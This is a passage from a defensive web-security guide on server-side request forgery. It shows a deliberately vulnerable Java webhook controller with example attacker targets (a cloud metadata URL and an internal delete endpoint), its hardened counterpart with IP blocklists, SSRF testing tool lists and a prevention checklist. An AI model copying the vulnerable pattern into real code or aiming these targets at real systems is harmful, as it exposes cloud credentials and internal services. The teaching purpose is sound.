        const contentType = response.headers['content-type'] || '';
        if (!contentType.startsWith('image/')) {
            return res.status(403).send('Response is not an image');
        }

        res.set('Content-Type', contentType);
        res.send(response.data);
    } catch (err) {
        // βœ… Generic error β€” do not leak internal details
        res.status(403).send('Image fetch denied');
    }
});

16.3 Java β€” Webhook Delivery with SSRF Protection

java
"text-slate-500 font-normal italic">// ══════════════════════════════════════════════════════════════
"text-slate-500 font-normal italic">// πŸ”΄ VULNERABLE: Webhook Delivery (SSRF)
"text-slate-500 font-normal italic">// ══════════════════════════════════════════════════════════════

@RestController
public class WebhookController {

    @PostMapping("/api/webhooks/trigger")
    public ResponseEntity<?> triggerWebhook(@RequestBody WebhookRequest req) {
        String targetUrl = req.getUrl();
        String payload = req.getPayload();

        "text-slate-500 font-normal italic">// πŸ’€ DANGER: No URL validation
        "text-slate-500 font-normal italic">// Attacker sets url to http://169.254.169.254/latest/meta-data/
        "text-slate-500 font-normal italic">// or http://internal-api:8080/admin/delete-all
        try {
            URL url = new URL(targetUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setDoOutput(true);
            conn.getOutputStream().write(payload.getBytes());
            
            int status = conn.getResponseCode();
            return ResponseEntity.ok("Webhook delivered: " + status);
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Webhook failed");
        }
    }
}


"text-slate-500 font-normal italic">// ══════════════════════════════════════════════════════════════
"text-slate-500 font-normal italic">// 🟒 SECURE: Webhook Delivery with SSRF Protection
"text-slate-500 font-normal italic">// ══════════════════════════════════════════════════════════════

@RestController
public class SecureWebhookController {

    private static final Set<String> ALLOWED_SCHEMES = Set.of("https"); "text-slate-500 font-normal italic">// βœ… HTTPS only
    private static final List<IpAddressMatcher> BLOCKED_RANGES = List.of(
        new IpAddressMatcher("10.0.0.0/8"),
        new IpAddressMatcher("172.16.0.0/12"),
        new IpAddressMatcher("192.168.0.0/16"),
        new IpAddressMatcher("127.0.0.0/8"),
        new IpAddressMatcher("169.254.0.0/16"),
        new IpAddressMatcher("::1/128"),
        new IpAddressMatcher("fc00::/7")
    );

    @PostMapping("/api/webhooks/trigger")
    public ResponseEntity<?> triggerWebhook(@RequestBody WebhookRequest req) {
        String targetUrl = req.getUrl();

        "text-slate-500 font-normal italic">// βœ… Step 1: Parse and validate URL structure
        URI uri;
        try {
            uri = new URI(targetUrl);
        } catch (URISyntaxException e) {
            return ResponseEntity.badRequest().body("Invalid URL");
        }

        "text-slate-500 font-normal italic">// βœ… Step 2: Scheme restriction (HTTPS only for webhooks)
        if (!ALLOWED_SCHEMES.contains(uri.getScheme())) {
            return ResponseEntity.status(403).body("Only HTTPS webhooks allowed");
        }

        "text-slate-500 font-normal italic">// βœ… Step 3: Resolve hostname and validate IP
        try {
            InetAddress[] addresses = InetAddress.getAllByName(uri.getHost());
            for (InetAddress addr : addresses) {
                String ip = addr.getHostAddress();
                for (IpAddressMatcher blocked : BLOCKED_RANGES) {
                    if (blocked.matches(ip)) {
                        return ResponseEntity.status(403)
                            .body("Webhook target IP is in a blocked range");
                    }
                }
            }
        } catch (UnknownHostException e) {
            return ResponseEntity.badRequest().body("Cannot resolve hostname");
        }

        "text-slate-500 font-normal italic">// βœ… Step 4: Use a dedicated HTTP client with restrictions
        HttpClient client = HttpClient.newBuilder()
            .connectTimeout(Duration.ofSeconds(5))
            .followRedirects(HttpClient.Redirect.NEVER)  "text-slate-500 font-normal italic">// βœ… No redirects
            .build();

        HttpRequest request = HttpRequest.newBuilder()
            .uri(uri)
            .timeout(Duration.ofSeconds(10))
            .POST(HttpRequest.BodyPublishers.ofString(req.getPayload()))
            .header("Content-Type", "application/json")
            .header("X-Webhook-Signature", computeHmac(req.getPayload()))
            .build();

        try {
            HttpResponse<String> response = client.send(request,
                HttpResponse.BodyHandlers.ofString());
            return ResponseEntity.ok("Webhook delivered: " + response.statusCode());
        } catch (Exception e) {
            return ResponseEntity.status(502).body("Webhook delivery failed");
        }
    }
}
  1. Tools & Resources

SSRF Testing Tools

ToolTypeDescriptionLink
SSRFmapScannerAutomated SSRF detection and exploitationgithub.com/swisskyrepo/SSRFmap
GopherusPayload GeneratorGenerate Gopher payloads for SSRF (Redis, MySQL, PostgreSQL, etc.)github.com/tarunkant/Gopherus
Burp CollaboratorOOB TestingOut-of-band interaction detection for blind SSRFportswigger.net
InteractshOOB TestingOpen-source OOB interaction testing (alternative to Burp Collaborator)github.com/projectdiscovery/interactsh
SSRF SheriffScannerSimple SSRF testing toolgithub.com/teknogeek/ssrf-sheriff
httprebindDNS RebindingDNS rebinding toolkit for SSRF testinggithub.com/brannondorsey/httprebind
NucleiScannerTemplate-based vulnerability scanner with SSRF templatesgithub.com/projectdiscovery/nuclei

Cloud Metadata Protection

Tool/FeatureCloudDescription
IMDSv2AWSSession-token-based metadata access
Metadata-Flavor headerGCPRequired header for metadata access
Metadata headerAzureRequired Metadata: true header
AWS Network FirewallAWSBlock outbound requests to 169.254.169.254
GCP VPC Service ControlsGCPRestrict metadata access
Azure Network Security GroupsAzureBlock metadata endpoint access

Educational Resources

ResourceTypeLink
PortSwigger SSRF LabsInteractive Labsportswigger.net/web-security/ssrf
OWASP SSRF Prevention Cheat SheetGuidecheatsheetseries.owasp.org
HackTricks SSRFReferencebook.hacktricks.xyz
PayloadsAllTheThings SSRFPayloadsgithub.com/swisskyrepo
  1. βœ… The Ultimate SSRF Checklist

🌐 URL Input Validation

  • [ ] All user-supplied URLs are validated before the server fetches them
  • [ ] Scheme allowlist enforced: Only http and https permitted (block file://, gopher://, dict://, ftp://, jar://)
  • [ ] Domain allowlist enforced: Only pre-approved domains can be fetched
  • [ ] Resolved IP validation: Hostname is resolved and ALL IPs checked against blocked ranges (not just the URL string)
  • [ ] Blocked IP ranges configured: RFC 1918 (10.x, 172.16-31.x, 192.168.x), loopback (127.x), link-local (169.254.x), IPv6 private/loopback
  • [ ] Cloud metadata IPs blocked: 169.254.169.254 (AWS/Azure), 100.100.100.200 (Alibaba), metadata.google.internal (GCP)
  • [ ] IPv6 addresses validated: Both IPv4-mapped IPv6 (::ffff:x.x.x.x) and native IPv6 checked
  • [ ] URL encoding handled: Double-encoding, Unicode normalization, and null bytes do not bypass filters
  • [ ] Redirect validation: Redirects are either disabled or each redirect target is re-validated
  • [ ] DNS rebinding mitigated: Hostname resolved once; resolved IP pinned for the connection

☁️ Cloud Metadata Protection

  • [ ] IMDSv2 enforced (AWS): HttpTokens: required on all EC2 instances
  • [ ] IMDS hop limit set to 1 (AWS): Prevents metadata access from containers
  • [ ] Metadata-Flavor header required (GCP): Verified in all metadata requests
  • [ ] Metadata header required (Azure): Metadata: true enforced
  • [ ] IAM roles follow least privilege: EC2/Lambda/ECS roles have minimum required permissions
  • [ ] Network-level metadata blocking: Firewall rules block application containers from reaching metadata endpoints
  • [ ] Metadata access logged and alerted: Any request to metadata endpoints triggers a security alert

πŸ—οΈ Application Architecture

  • [ ] URL fetching isolated: URL fetch functionality runs in a sandboxed service with no internal network access
  • [ ] Egress filtering: Application servers cannot reach internal IP ranges (enforced at network layer)
  • [ ] Network segmentation: Internal services (databases, caches, APIs) are not routable from application servers
  • [ ] Dedicated fetch proxy: All outbound URL fetching goes through a dedicated proxy with strict controls
  • [ ] Timeout and size limits: All outbound requests have strict timeouts (5s) and response size limits (1–5MB)
  • [ ] Response sanitization: Proxied responses are stripped of sensitive headers and metadata before returning to the user

πŸ“„ Feature-Specific Checks

  • [ ] PDF generators sandboxed: HTML-to-PDF engines cannot access internal URLs or local files
  • [ ] Image fetchers validated: Image proxy endpoints validate URLs and content types
  • [ ] Webhook URLs validated: User-configured webhook URLs are validated before delivery
  • [ ] Link preview services restricted: URL unfurling services cannot access internal endpoints
  • [ ] Import-from-URL features validated: CSV/data import from URL validates the destination
  • [ ] OAuth redirect URIs validated: Redirect URIs are strictly matched against an allowlist
  • [ ] RSS/feed fetchers restricted: Feed readers cannot access internal URLs

πŸ” Detection & Monitoring

  • [ ] Outbound request logging: All server-side HTTP requests are logged with destination IP and URL
  • [ ] Metadata access alerting: Any request to cloud metadata endpoints triggers an immediate alert
  • [ ] Internal IP access alerting: Requests to RFC 1918 addresses from application servers are flagged
  • [ ] Anomalous outbound traffic detection: Unusual outbound connection patterns are detected
  • [ ] SSRF scanning detection: Rapid sequential requests to internal IP ranges are detected and blocked
  1. 🏁 Conclusion

Summary Diagram

Key Takeaways

πŸ”‘ 1. SSRF turns your server into the attacker's proxy. The server's network position, trust relationships, and cloud credentials become the attacker's tools. The request comes from inside the house.
πŸ”‘ 2. Cloud metadata is the crown jewel. In cloud environments, a single SSRF to 169.254.169.254 can yield IAM credentials that grant full account access. Enforce IMDSv2 and block metadata access at the network layer.
πŸ”‘ 3. Allowlisting beats blocklisting. Blocking 169.254.169.254 by string match will be bypassed via decimal encoding, IPv6, DNS rebinding, or redirects. Allowlisting permitted domains and validating resolved IPs is far more robust.
πŸ”‘ 4. Every URL-fetching feature is an SSRF vector. Image proxies, PDF generators, webhook delivery, link previews, CSV imports, RSS readers β€” any feature that makes the server fetch a user-supplied URL is a potential SSRF entry point.
πŸ”‘ 5. Defense in depth is essential. No single control is sufficient. Combine URL validation, IP checking, network segmentation, egress filtering, metadata protection, and monitoring to create layered defense.

Cost & ROI Breakdown

InvestmentCostPrevented Loss
URL validation library1–2 engineer-days$300M+ (Capital One-scale breach)
IMDSv2 enforcement1 engineer-dayCloud account takeover
Egress firewall rules1–2 engineer-daysInternal network compromise
Network segmentation1–4 engineer-weeksLateral movement prevention

| SSR